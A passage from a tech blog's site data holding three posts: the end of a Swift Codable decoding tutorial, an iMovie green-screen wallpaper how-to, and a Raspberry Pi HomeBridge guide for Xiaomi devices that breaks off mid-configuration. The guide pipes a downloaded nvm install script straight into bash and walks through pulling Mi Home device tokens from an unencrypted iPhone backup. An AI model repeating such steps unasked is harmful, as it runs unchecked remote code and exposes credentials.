we need to get the container from the decoder to operate on the values. There are three types of containers to retrieve content from.First type container(keyedBy: CodingKeys.self) Operate according to CodingKeys:struct SongEntity: Decodable { var id: Int var name: String enum CodingKeys: String, CodingKey { case id case name } init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) // Parameter 1 accepts support: class implementing Decodable // Parameter 2 CodingKeys self.name = try container.decode(String.self, forKey: .name) }}Second type singleValueContainer Retrieve the whole package for operation (single value):enum HandsomeLevel: Decodable { case handsome(String) case normal(String) init(from decoder: Decoder) throws { let container = try decoder.singleValueContainer() let name = try container.decode(String.self) if name == \"zhgchgli\" { self = .handsome(name) } else { self = .normal(name) } }}struct UserEntity: Decodable { var id: Int var name: HandsomeLevel var email: String enum CodingKeys: String, CodingKey { case id case name case email }}Suitable for Associated Value Enum field types, for example, name also carries a level of handsomeness!Third type unkeyedContainer Treat the whole package as an array:struct ListEntity: Decodable { var items:[Decodable] init(from decoder: Decoder) throws { var unkeyedContainer = try decoder.unkeyedContainer() self.items = [] while !unkeyedContainer.isAtEnd { // The internal pointer of unkeyedContainer will automatically point to the next object after the decode operation // Until it points to the end, indicating the traversal is complete if let id = try? unkeyedContainer.decode(Int.self) { items.append(id) } else if let name = try? unkeyedContainer.decode(String.self) { items.append(name) } } }}let jsonString = \"[\\\"test\\\",1234,5566]\"let jsonDecoder = JSONDecoder()let result = try jsonDecoder.decode(ListEntity.self, from: jsonString.data(using: .utf8)!)print(result)Applicable to array fields of variable types.Under Container, we can also use nestedContainer / nestedUnkeyedContainer to operate on specific fields: *Flatten data fields (similar to flatMap)struct ListEntity: Decodable { enum CodingKeys: String, CodingKey { case items case date case name case target } enum PredictKey: String, CodingKey { case type } var date: Date var name: String var items: [Decodable] var target: Decodable init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.date = try container.decode(Date.self, forKey: .date) self.name = try container.decode(String.self, forKey: .name) let nestedContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .target) let type = try nestedContainer.decode(String.self, forKey: .type) if type == \"song\" { self.target = try container.decode(SongEntity.self, forKey: .target) } else { self.target = try container.decode(UserEntity.self, forKey: .target) } var unkeyedContainer = try container.nestedUnkeyedContainer(forKey: .items) self.items = [] while !unkeyedContainer.isAtEnd { if let song = try? unkeyedContainer.decode(SongEntity.self) { items.append(song) } else if let user = try? unkeyedContainer.decode(UserEntity.self) { items.append(user) } } }}Access and decode objects of different levels. The example demonstrates using nestedContainer to flatten out the type for target/items and then decode accordingly based on the type.Decode & DecodeIfPresent DecodeIfPresent: Decode only when the response provides the data field (when Codable Property is set to Optional) Decode: Perform the decode operation. If the response does not provide the data field, it will throw an error. *The above is just a brief introduction to the methods and functions of init decoder and container. It’s okay if you don’t understand; we’ll dive directly into real-world scenarios and experience the combined operations in the examples.Real-world ScenarioReturning to the original example JSON String.Scenario 1. Suppose today the comment could be on a song or a person. The targetObject field could be User or Song. How should we handle it?{ \"results\": [ { \"id\": 123456, \"comment\": \"It's Accusefive, not Five Accuse!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"Thinking of You Under the Stars\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" } }, { \"id\": 55, \"comment\": \"66666!\", \"target_object\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\" }, \"commenter\": { \"type\": \"user\", \"id\": 2, \"name\": \"aaaa\", \"email\": \"aaaa@gmail.com\" } } ]}Method a.Using Enum as a container for Decode.struct CommentEntity: Decodable { enum CodingKeys: String, CodingKey { case id case comment case targetObject = \"target_object\" case commenter } var id: Int var comment: String var targetObject: TargetObject var commenter: UserEntity enum TargetObject: Decodable { case song(SongEntity) case user(UserEntity) enum PredictKey: String, CodingKey { case type } enum TargetObjectType: String, Decodable { case song case user } init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: PredictKey.self) let singleValueContainer = try decoder.singleValueContainer() let targetObjectType = try container.decode(TargetObjectType.self, forKey: .type) switch targetObjectType { case .song: let song = try singleValueContainer.decode(SongEntity.self) self = .song(song) case .user: let user = try singleValueContainer.decode(UserEntity.self) self = .user(user) } } }}We change the targetObject property to an Associated Value Enum, deciding what content to put inside the Enum during Decode.The core practice is to create a Decodable Enum as a container, decode it by first extracting the key field (the type field in the example JSON String), and if it is Song, use singleValueContainer to decode the whole package into SongEntity, and similarly for User.Extract from Enum when using://if case letif case let CommentEntity.TargetObject.user(user) = result.targetObject { print(user)} else if case let CommentEntity.TargetObject.song(song) = result.targetObject { print(song)}//switch case letswitch result.targetObject {case .song(let song): print(song)case .user(let user): print(user)}Method b.Declare the field property as Base Class.struct CommentEntity: Decodable { enum CodingKeys: String, CodingKey { case id case comment case targetObject = \"target_object\" case commenter } enum PredictKey: String, CodingKey { case type } var id: Int var comment: String var targetObject: Decodable var commenter: UserEntity init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) self.comment = try container.decode(String.self, forKey: .comment) self.commenter = try container.decode(UserEntity.self, forKey: .commenter) // let targetObjectContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .targetObject) let targetObjectType = try targetObjectContainer.decode(String.self, forKey: .type) if targetObjectType == \"user\" { self.targetObject = try container.decode(UserEntity.self, forKey: .targetObject) } else { self.targetObject = try container.decode(SongEntity.self, forKey: .targetObject) } }}The principle is similar, but here we first use nestedContainer to dive into targetObject to get the type and then decide what type targetObject should be parsed into.Cast when using:if let song = result.targetObject as? Song { print(song)} else if let user = result.targetObject as? User { print(user)}Scenario 2. How to decode if the data array contains multiple types of data?{ \"results\": [ { \"type\": \"song\", \"id\": 99, \"name\": \"Thinking of You Under the Stars\" }, { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" } ]}Combine the nestedUnkeyedContainer mentioned above with the solution from Scenario 1; you can also use Scenario 1’s a. solution, using Associated Value Enum to store values.Scenario 3. Decode JSON String field only when it has a value[ { \"type\": \"song\", \"id\": 99, \"name\": \"Thinking of You Under the Stars\" }, { \"type\": \"song\", \"id\": 11 }]Use decodeIfPresent to decode.Scenario 4. Skip data that fails to decode in an array{ \"results\": [ { \"type\": \"song\", \"id\": 99, \"name\": \"Thinking of You Under the Stars\" }, { \"error\": \"error\" }, { \"type\": \"song\", \"id\": 19, \"name\": \"Take Me to Find Nightlife\" } ]}As mentioned earlier, Decodable by default requires all data to be correctly parsed to map the output; sometimes you may encounter unstable data from the backend, providing a long array but with some entries missing fields or having mismatched field types causing decode failures; resulting in the entire package failing and returning nil.struct ResultsEntity: Decodable { enum CodingKeys: String, CodingKey { case results } var results: [SongEntity] init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results) self.results = [] while !nestedUnkeyedContainer.isAtEnd { if let song = try? nestedUnkeyedContainer.decode(SongEntity.self) { self.results.append(song) } else { let _ = try nestedUnkeyedContainer.decode(EmptyEntity.self) } } }}struct EmptyEntity: Decodable { }struct SongEntity: Decodable { var type: String var id: Int var name: String}let jsonString = \"{ \\\"results\\\": [ { \\\"type\\\": \\\"song\\\", \\\"id\\\": 99, \\\"name\\\": \\\"Thinking of You Under the Stars\\\" }, { \\\"error\\\": \\\"error\\\" }, { \\\"type\\\": \\\"song\\\", \\\"id\\\": 19, \\\"name\\\": \\\"Take Me to Find Nightlife\\\" } ] }\"let jsonDecoder = JSONDecoder()let result = try jsonDecoder.decode(ResultsEntity.self, from: jsonString.data(using: .utf8)!)print(result)The solution is similar to Scenario 2’s solution; nestedUnkeyedContainer iterates through each content and performs try? Decode. If Decode fails, it uses Empty Decode to allow the nestedUnkeyedContainer’s internal pointer to continue executing. *This method is somewhat of a workaround because we cannot command nestedUnkeyedContainer to skip, and nestedUnkeyedContainer must successfully decode to continue executing. Therefore, we do it this way. Some in the Swift community have suggested adding moveNext(), but it has not been implemented in the current version.Scenario 5. Some fields are for internal use in my program, not for DecodeMethod a. Entity/ModelHere we need to mention what was said at the beginning about the utility of splitting Entity/Model; Entity is solely responsible for JSON String to Entity (Decodable) Mapping; Model initWith Entity, the actual program transmission, operation, and business logic all use Model.struct SongEntity: Decodable { var type: String var id: Int var name: String}class SongModel: NSObject { init(_ entity: SongEntity) { self.type = entity.type self.id = entity.id self.name = entity.name } var type: String var id: Int var name: String var isSave:Bool = false //business logic}Benefits of splitting Entity/Model: Clear responsibilities, Entity: JSON String to Decodable, Model: business logic Clear mapping of fields, just look at Entity Avoid cluttering when there are many fields Can be used in Objective-C (since Model is just NSObject, struct/Decodable is not visible in Objective-C) Internal business logic and fields can be placed in ModelMethod b. init handlingList CodingKeys and exclude fields for internal use, give default values during init or set fields with default values or make them Optional, but these are not good methods, just runnable ones.[2020/06/26 Update] — Next Scenario 6. API Response uses 0/1 to represent Bool, how to Decode? Summary of Decode issues encountered in real use of Codable (Part 2)[2020/06/26 Update] — Next Scenario 7. Don’t want to rewrite init decoder every time Summary of Decode issues encountered in real use of Codable (Part 2)[2020/06/26 Update] — Next Scenario 8. Reasonable handling of Response Null field data Summary of Decode issues encountered in real use of Codable (Part 2)Comprehensive Scenario ExampleA complete example combining the basic and advanced usage mentioned above:{ \"count\": 5, \"offset\": 0, \"limit\": 10, \"results\": [ { \"id\": 123456, \"comment\": \"It's Accusefive, not Fiveaccuse!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"Thinking of You Under the Stars\", \"create_date\": \"2020-06-13T15:21:42+0800\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\", \"birthday\": \"1994/07/18\" } }, { \"error\": \"not found\" }, { \"error\": \"not found\" }, { \"id\": 2, \"comment\": \"Haha, me too!\", \"target_object\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\", \"birthday\": \"1994/07/18\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"Passerby A\", \"email\": \"man@gmail.com\", \"birthday\": \"2000/01/12\" } } ]}Output:zhgchgli: It's Accusefive, not Five Accuse!Complete example demonstration as above!(Next) Part & Other Scenarios Updated: Summary of Decode Issues Encountered in Real Use of Codable (Part 2)SummaryThe benefits of choosing to use Codable, first of all, are because it is native, you don’t have to worry about no one maintaining it in the future, and it looks nice when written; but relatively, the restrictions are stricter, it is less flexible in parsing JSON Strings, otherwise, you have to do more things as described in this article to complete it, and the performance is actually not superior to using other Mapping packages (Decodable still uses NSJSONSerialization from the Objective-C era for parsing). However, I think Apple might optimize this in future updates, so we won’t need to change the program then.The scenarios and examples in the article may be extreme, but sometimes you can’t help it when you encounter them; of course, we hope that in general situations, simple Codable can meet our needs; but with the above techniques, there should be no unsolvable problems! Thanks to @saiday for technical support.Further Reading In-depth Decodable — Writing a JSON Parser Beyond NativeFull of content, deeply understanding Decoder/JSONDecoder. Looking at Problems from Different Angles — From Codable to Swift Metaprogramming Why Model Objects Shouldn’t Implement Swift’s Decodable or Encodable ProtocolsIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Easily Create a 'Fake' Transparent Perspective Wallpaper Using iPhone", "url": "/posts/2e4429f410d6/", "categories": "ZRealm, Life.", "tags": "iphone, life, imovie, chroma-key, wallpaper", "date": "2020-05-10 15:37:42 +0800", "snippet": "Easily Create a ‘Fake’ Transparent Perspective Wallpaper Using iPhoneUsing iMovie’s green screen keying feature to composite videosAnyway, I’m BoredWorking during the day, exploited by capitalists;...", "content": "Easily Create a ‘Fake’ Transparent Perspective Wallpaper Using iPhoneUsing iMovie’s green screen keying feature to composite videosAnyway, I’m BoredWorking during the day, exploited by capitalists; at night, exploited by mass entertainment, still unable to achieve the realm of working during the day, studying at night, and critiquing on holidays!Recently, while mindlessly relaxing, I came across a very common wallpaper app advertisement that showcased an eye-catching transparent perspective wallpaper; but it’s obviously impossible, even if the rear camera was capturing the scene in real-time, the angles wouldn’t match so perfectly!【Youtuber Insider】Attention to American TV shows and series! Exposing the toxic truth that mass media won’t tell you! Working during the day, studying at night, critiquing on holidays! Revealing the secrets of deception|Anyway, I’m BoredFinal EffectLet’s Be Smart Youth!Although I knew it was a special effect, I thought it would be very complicated; unexpectedly, the built-in iMovie app on the iPhone can easily create it with a few taps.You only need: An iPhone (because we need to use iMovie directly), a phone for the scene A phone or camera for shooting A phone stand or a water bottle… or any object that can support the phone iMovie APP (free download) A green background image (green screen)You can download this image directly or get it from the internetThese 5 items can create a perspective effect!Specific process: Set up the phone responsible for filming Shoot a clean video (without the phone in the frame) Set the background of the phone to be filmed as a green screen Shoot a video of the phone operation Open the iMovie APP to composite DoneStart1. Set up the phone and adjust the filming angleI used two eel cans and a bottle of mineral water as a phone stand (a vertical phone stand would be even better!)The purpose of using a phone stand is to ensure that the angles of the two videos are consistent. Otherwise, there will be a shift in the frame, and the effect won’t look as good. It’s impossible to hold the phone and have the angles of both videos be 100% the same.2. Shoot a clean videoShoot the clean video as long as you want the final video to be.3. Set the background of the phone to be filmed as a green screen“Settings” -> “Wallpaper” -> “Choose the downloaded green screen” -> “Set Both”Finished image4. Shoot a video of the phone operationThe length of the video should be the same as the clean video; it’s okay if it’s longer, you can trim it later.5. Open the iMovie APP to create a project“+” -> “Movie” -> Select “Clean Video” -> “Create Movie”Insert the clean video into the project.6. Move the playhead to the beginningIf you don’t move the playhead to the beginning of the clean video, you will see the message “Move the playhead away from the end to add overlay” when inserting the green screen video.7. Insert the phone operation videoClick the top right “+” -> “Video” -> “All”Select “Phone Operation Video” -> “…” -> “Green/Blue Screen” (commonly known as: Chroma Key)Click the top “Phone Operation Video” -> Scroll to the frame with the green screen -> Click the “Green Area” -> Complete the perspective transparency8. Composition complete! Export the videoConfirm that the end times of the two videos are consistent, click “Done” in the upper left corner -> “Share” at the bottom -> Select the output target -> Output complete9. CompleteTips You can first hide apps with green icons, such as Line, Messages… to prevent exposure (because the keying is based on green) Or you can use a blue background and key out blue; other colors can also be used (but green/blue works best) There are more ways to play with this principle, waiting for you to discover!ConclusionJust for fun… I didn’t expect iMovie to be so powerful!Further Reading [Productivity Tools] Abandon Chrome and Embrace the Sidekick BrowserIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips", "url": "/posts/99db2a1fbfe5/", "categories": "ZRealm, Life.", "tags": "homekit, iphone, homebridge, Mi Home, life", "date": "2020-04-20 22:37:49 +0800", "snippet": "Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your FingertipsDemonstrating the use of Raspberry Pi as a HomeBridge host to connect all Mi Home appliances to HomeKitphoto ...", "content": "Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your FingertipsDemonstrating the use of Raspberry Pi as a HomeBridge host to connect all Mi Home appliances to HomeKitphoto by picjumbo.comAboutDue to the pandemic, the time spent at home has increased; especially when working from home, it’s best if all home appliances can be smartly controlled via an app. This way, you don’t have to keep getting up to turn on the lights or the rice cooker, which wastes a lot of time.Previously, I wrote an article titled “First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home”, where I initially tried using HomeBridge to connect Xiaomi appliances to HomeKit. Theoretically, it was feasible, but there wasn’t much practical application mentioned. Today’s article is a comprehensive advanced version of the previous one, including how to set up a Raspberry Pi as the host, with a step-by-step tutorial.The motivation came from recently switching to an iPhone 11 Pro, which supports iOS ≥ 13 shortcuts with NFC automation. This means the phone can execute corresponding shortcuts when it detects an NFC tag. Although you can directly use an old EasyCard as an NFC tag, it takes up too much space and there aren’t that many cards. I asked around Guanghua Digital Plaza but couldn’t find any NFC tag stickers, so I finally found them on Shopee for $50 each and bought 5 to play with. The seller was kind enough to help me differentiate them by color.*NFC automation is model-specific, only iPhone XS/XS max/XR/11/11pro/11pro max support this feature. Previously, with an iPhone 8, there was no NFC option.After playing around a bit, I found a problem: when executing shortcuts for the Mi Home app, you must enable the “Show When Run” option (otherwise it won’t actually execute). When detecting the tag, you need to unlock the iPhone and the shortcut will open, making it impossible to execute directly in the background. Additionally, if the shortcut is for native Apple services (e.g., HomeKit appliances), it can execute directly in the background without unlocking. Moreover, HomeKit’s response speed and stability are much better than Mi Home’s.This makes a big difference in user experience, so I delved deeper into connecting all Mi Home smart home products to HomeKit. For those that support HomeKit, just bind them directly; for those that don’t, follow this tutorial to bind them as well!My Mi Home Smart Home Items Mi Home Smart Camera Pan-Tilt Version 1080P Mi Home DC Inverter Fan Mi Home LED Smart Desk Lamp Xiaomi Air Purifier 3 Mi Home Desk Lamp Pro (supports HomeKit natively) Mi Home LED Smart Bulb Color Version * 2 (supports HomeKit natively)Operating PrincipleI made a simple reference diagram. If the smart appliance supports HomeKit, connect it directly. For those that don’t support HomeKit, set up a “HomeBridge” service host (which needs to be always on) to bridge and connect them. In the same network environment (e.g., the same WiFi), the iPhone can freely control all HomeKit appliances. However, if you’re on an external network, such as 4G mobile network, you need an Apple TV/HomePod or iPad as the home hub, always on standby at home to control HomeKit from outside. Without a home hub, the Home app will show “ No Response “ when opened from outside. *If it’s a Xiaomi device, it will be controlled via the Xiaomi server, which means there could be security issues as the data has to go through mainland China.RequirementsSo, there are two devices that need to be on standby all the time: one is an Apple TV/HomePod or iPad as the home hub; this part currently has no workaround, you have to obtain these devices somehow, if not, you can only use HomeKit at home .The other device can be any computer that can be on standby 24 hours (like your iMac/MacBook), an idle host (old iMac, Mac Mini), or a Raspberry Pi. *Windows series has not been tried, but it should work too!Alternatively, if you just want to play around, you can use your current computer (can be used together with the previous article).This article will demonstrate using a Raspberry Pi (Raspberry Pi 3B) and a MacBook Pro (MacOS 10.15.4), starting from setting up the Raspberry Pi environment from scratch; if you are not using a Raspberry Pi, you can skip directly to the HomeBridge integration with HomeKit part (this part is the same).Raspberry Pi 3B (special thanks to Lu Xun Huang )If you are using a Raspberry Pi, you will also need a micro SD card (not too big, I use 8G), a card reader, a network cable (for setup, can connect to WiFi later); and the software needed for the Raspberry Pi: Raspberry Pi Desktop OS (for beginners, using the GUI version) Etcher burning softwareRaspberry Pi Environment SetupBurning the Operating SystemAfter downloading the two required software, first insert the memory card into the card reader and plug it into the computer; open the Etcher program (balenaEtcher).First, select the Raspberry Pi OS you just downloaded “xxxx.img”, second, select your memory card device, then click “Flash!” to start burning!At this point, it will prompt you to enter the MacOS password, enter it and click “Ok” to continue.Burning… please wait…Verifying… please wait…Burn successful! *If a red Error appears, try formatting the memory card and burning it again.Reconnect the card reader to the computer, and create an empty “ssh” file in the memory card directory ( or click here to download ) with no content and no extension, just a “ssh” file; this allows us to connect to the Raspberry Pi using Terminal.sshSetting up the Raspberry PiEject the memory card, insert it into the Raspberry Pi, connect the network cable, and power it on; make sure the MacBook and Raspberry Pi are on the same network.Check the IP address assigned to the Raspberry PiThe IP address assigned to the Raspberry Pi is: 192.168.0.110 (Please replace all IP addresses in this document with the one you found) It is recommended to set the Raspberry Pi to a static/reserved IP, otherwise the IP address may change after rebooting and reconnecting, requiring you to check it again.Use SSH to connect to the Raspberry Pi for operationsOpen Terminal and enter:ssh pi@your_raspberry_pi_IP_addressWhen prompted, enter yes, and for the password, enter the default password: raspberryConnection successful! *If you encounter an error message like WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED, open /Users/xxxx/.ssh/known_hosts with a text editor and clear its contents.Basic tools installation and setup on Raspberry Pi Enter the following command to install the Vim editor:sudo apt-get install vim2. Resolve the following locale warnings:perl: warning: Setting locale failed.perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = (unset), LC_LANG = \"zh_TW.UTF-8\", LANG = \"zh_TW.UTF-8\" are supported and installed on your system.perl: warning: Falling back to the standard locale (\"C\").Entervi .bashrcPress “Enter” to proceedPress “i” to enter edit modeMove to the bottom of the document and add a line “export LC_ALL=C”Press “Esc” and enter “:wq!” to save and exit.Then enter “source .bashrc” to update.3. Install nvm to manage nodejs/npm:curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash4. Use nvm to install the latest version of nodejs:nvm install 12.16.2 *Here, we choose to install version “12.16.2”5. Confirm the environment installation is complete:Enter the following commandsnpm -vandnode -vto confirmNo error messages!6. Create a nodejs linkEnter the following commandwhich nodeGet the path information where nodejs is locatedThen entersudo ln -fs paste_the_path_you_found_with_which_node_here /usr/local/bin/nodeCreate the linkSetup complete!Enable Raspberry Pi VNC remote desktop featureAlthough we have installed the GUI version, you can directly connect the Raspberry Pi to a keyboard and HDMI to use it as a regular computer. However, for convenience, we will use the remote desktop method to control the Raspberry Pi.Enter:sudo raspi-configEnter the settings:Select the fifth option “ Interfacing Options “Select the third option “ P3 VNC “Use “ ← “ to select “ Yes “ to enableVNC remote desktop feature enabled successfully!Use “ → “ to directly switch to “ Finish “ to exit the setup interface.Add VNC remote desktop service to startupWe want the VNC remote desktop service to be automatically enabled when the Raspberry Pi boots up.Entersudo vim /etc/init.d/vncserverPress “Enter” to proceedPress “ i “ to enter edit mode#!/bin/sh### BEGIN INIT INFO# Provides: vncserver# Required-Start: $local_fs# Required-Stop: $local_fs# Default-Start: 2 3 4 5# Default-Stop: 0 1 6# Short-Description: Start/stop vncserver### END INIT INFO# More details see:# http://www.penguintutor.com/linux/vnc### Customize this entry# Set the USER variable to the name of the user to start vncserver underexport USER='pi'### End customization requiredeval cd ~$USERcase \"$1\" in start) su $USER -c '/usr/bin/vncserver -depth 16 -geometry 1024x768 :1' echo \"Starting VNC server for $USER \" ;; stop) su $USER -c '/usr/bin/vncserver -kill :1' echo \"vncserver stopped\" ;; *) echo \"Usage: /etc/init.d/vncserver {start|stop}\" exit 1 ;;esacexit 0“Command” + “C”, “Command” + “V” to copy and paste the above content, press “Esc” and enter “:wq!” to save and exit.Then enter:sudo chmod 755 /etc/init.d/vncserverChange the file permissions.Then enter:sudo update-rc.d vncserver defaultsAdd to startup items.Finally enter:sudo rebootRestart the Raspberry Pi. *After the restart is complete, reconnect using ssh as before.Connect using VNC Client:Here we use the Chrome app “ VNC® Viewer for Google Chrome™ “. After installation and launch, enter Raspberry Pi IP address:1. Please note to add Port:1 at the end! *I was unable to connect using Mac’s built-in VNC://, the reason is unknown.Click “ Connect “.Click “ OK “.Enter login username and password , same as SSH connection, username pi default password raspberry.Successfully connected!Complete Raspberry Pi initialization settings:The rest is graphical interface! Very easy!Set language, region, time zone.Change the default Raspberry Pi password, enter the password you want to set.Directly click “ Next “.Set up WiFi connection, so you don’t need to plug in the cable anymore. *But please note that the Raspberry Pi IP address may change, you need to check it again in the routerWhether to update the current operating system, if not in a hurry, select “ Next “ to update! *The update takes about 20~30 minutes (depending on your internet speed)After the update is complete, click “ Restart “ to restart.Raspberry Pi environment setup complete!HomeBridge InstallationNow for the main event, installing and using HomeBridge.Use Terminal to ssh into the Raspberry Pi or directly use the Terminal in the VNC remote desktop.Enter:npm -g install homebridge --unsafe-perm^( Do not add sudo )Install HomeBridgeInstallation complete!Create/Modify configuration file (config.json):For easier editing, use VNC remote desktop to connect to the Raspberry Pi (you can also use commands directly) :Click the top left to open “ File Manager “ -> go to “ /home/pi/.homebridge “If you don’t see the “config.json” file, right-click on the blank area “ New File “ -> enter the file name “ config.json “Right-click on “ config.json “ and open with “ Text Editor “Paste the following basic configuration content:{ \"bridge\": { \"name\": \"Homebridge\", \"username\": \"CC:22:3D:E3:CE:30\", \"port\": 51826, \"pin\": \"123-45-568\"}No need to make special changes to the content, just copy it directly! Remember to save!Done!Bind HomeBridge to HomekitEnter:homebridge start^( Do not add sudo )Enable If you encounter an Error: Service name is already in use on the network / port is occupied error, try deleting the service, using homebridge restart to restart, or rebooting. If you encounter an error like was not registered by any plugin, it means you haven’t installed the corresponding homebridge plugin. If you change the configuration file (config.json) while starting, you need to modify it: sudo homebridge restart Restart HomeBridge Press “Control” + “C” to close and exit the HomeBridge service in Terminal.Take out your iPhone and open the “Home” app. In the upper right corner of “Home,” click “+”, select “Add Accessory,” and scan the QRCode that appears.At this point, you should see “ Accessory Not Found “. Don’t worry! Because we haven’t added any accessories to the HomeBridge bridge yet, it’s okay, let’s continue.You must have at least one accessory to scan and add!!! (Here, we use a camera as an example) :You must have at least one accessory to scan and add!!! (Here, we use a camera as an example) :You must have at least one accessory to scan and add!!! (Here, we use a camera as an example) :The first time you scan and add, a warning window will appear. Just click “Force Add”! After adding once, you don’t need to scan again for any new accessories; they will update automatically!Add HomeBridge service to Raspberry Pi startup itemsLike the VNC remote desktop service, we also want the HomeBridge service to be automatically enabled when the Raspberry Pi starts, otherwise, we have to manually log in and enable it every time it reboots.Enter:which homebridgeGet homebridge path informationNote down this path.Then enter:sudo vim /etc/init.d/homebridgePress “Enter” to enterPress “i” to enter edit mode#!/bin/sh### BEGIN INIT INFO# Provides:# Required-Start: $remote_fs $syslog# Required-Stop: $remote_fs $syslog# Default-Start: 2 3 4 5# Default-Stop: 0 1 6# Short-Description: Start daemon at boot time# Description: Enable service provided by daemon.### END INIT INFOdir=\"/home/pi\"cmd=\"DEBUG=* paste the path you got from which homebridge here\"user=\"pi\"name=`basename $0`pid_file=\"/var/run/$name.pid\"stdout_log=\"/var/log/$name.log\"stderr_log=\"/var/log/$name.err\"get_pid() {cat \"$pid_file\"}is_running() {[ -f \"$pid_file\" ] && ps -p `get_pid` > /dev/null 2>&1}case \"$1\" instart)if is_running; thenecho \"Already started\"elseecho \"Starting $name\"cd \"$dir\"if [ -z \"$user\" ]; thensudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &elsesudo -u \"$user\" $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &fiecho $! > \"$pid_file\"if ! is_running; thenecho \"Unable to start, see $stdout_log and $stderr_log\"exit 1fifi;;stop)if is_running; thenecho -n \"Stopping $name..\"kill `get_pid`for i in 1 2 3 4 5 6 7 8 9 10# for i in `seq 10`doif ! is_running; thenbreakfiecho -n \".\"sleep 1doneechoif is_running; thenecho \"Not stopped; may still be shutting down or shutdown may have failed\"exit 1elseecho \"Stopped\"if [ -f \"$pid_file\" ]; thenrm \"$pid_file\"fifielseecho \"Not running\"fi;;restart)$0 stopif is_running; thenecho \"Unable to stop, will not attempt to start\"exit 1fi$0 start;;status)if is_running; thenecho \"Running\"elseecho \"Stopped\"exit 1fi;;*)echo \"Usage: $0 {start|stop|restart|status}\"exit 1;;esacexit 0Replace:cmd=”DEBUG=* Paste which homebridge path”with the path information you found (without double quotes)Press “Command” + “C”, “Command” + “V” to copy and paste the above content, press “Esc” and enter “:wq!” to save and exit.Then enter:sudo chmod 755 /etc/init.d/homebridgeModify file permissions.Finally enter:sudo update-rc.d homebridge defaultsAdd to startup items.Done! You can directly use sudo /etc/init.d/homebridge start to start the homebridge service. You can also use: tail -f /var/log/homebridge.err to view startup error messages, tail -f /var/log/homebridge.log to view logs.Preparation before connecting Mi Home smart appliancesOnce Homebridge is up and running, we can start adding all Mi Home appliances to Homebridge and connect them to HomeKit!First, we need to add all Mi Home smart appliances to the Mi Home APP to obtain the information needed to connect to HomeBridge.After adding the smart appliances to the Mi Home APP:Connect your iPhone to your Mac, open Finder/iTunes, and select the connected phone.Select “Back up to this computer”, “Do not check! Encrypt local backup”, and click “Back Up Now”.After the backup is complete, download and install the backup viewer software: iBackupViewerOpen “iBackupViewer”. The first time you start it, you will need to go to Mac “System Preferences” - “Security & Privacy” - “Privacy” - “+” - add “iBackupViewer”. *If you have privacy concerns, you can disable the network while using this software and remove it after use.Open “iBackupViewer” again, and after successfully reading the backup file, click on the “just backed up phone”.Select the “App Store” Icon.On the left, find “Mi Home APP (MiHome.app)” -> On the right, find “numbers_mihome.sqlite” file and “select” -> Top right “Export” -> “Selected Files”. *If there are two “numbers_mihome.sqlite” files, choose the one with the latest Created time.Drag the exported numbers_mihome.sqlite file into this website to view the content:You can change the query syntax to:SELECT `ZDID`,`ZNAME`,`ZTOKEN` FROM 'ZDEVICE' LIMIT 0,30Only display the field information we need (if there are specific appliance kits that require other field information, you can also add them for filtering). ZDID: Device ID ZNAME: Device Name ZTOKEN: Device ZToken ZTOKEN cannot be used directly, it needs to be converted to “Token” to be usable.Here, we take the conversion of the camera’s ZToken to Token as an example:First, we obtain the ZToken field content of the camera from the above list:7f1a3541f0433b3ccda94beb856c2f5ba2b15f293ce0cc398ea08b549f9c74050143db63ee66b0cdff9f69917680151eBut the TOKEN obtained here cannot be used yet, we still need to convert it.Open http://aes.online-domain-tools.com/ this website: Paste the ZTOKEN you just copied into “Input Text” and select “Hex”. Enter “00000000000000000000000000000000” (32 zeros) in the Key field, and also select “Hex”. Then click “Decrypt!” to convert. Select and copy the output content of the bottom two lines on the right and remove the spaces to get the result Token.「 6d304e6867384b704b4f714d45314a34 」is the Token result we need! *The method of obtaining the Token has been tried using “miio” to sniff directly, but it seems that the Mijia firmware has been updated, and this method can no longer be used to quickly and conveniently obtain the Token!Finally, we also need to know the IP address of the device (here we take the camera as an example):Open the Mi Home APP → Camera → Top right corner “…” → Settings → Network Information, to get the IP address! Record the ZDID/Token/IP information for later use.Integrate Mijia Smart Appliances into HomeBridge One by OneInstall and configure each device individually according to the required plugins and connection information, and add them to HomeBridge. Next, open Terminal, ssh into the Raspberry Pi, or use VNC remote desktop’s Terminal to continue the subsequent operations…1. Mijia Camera Pan-Tilt Version:In Terminal, run the command to install the MijiaCamera homebridge plugin (without sudo):npm install -g homebridge-mijia-cameraRefer to the previous tutorial on modifying the configuration file (config.json), and add the accessories section in the file:{ \"bridge\":{ 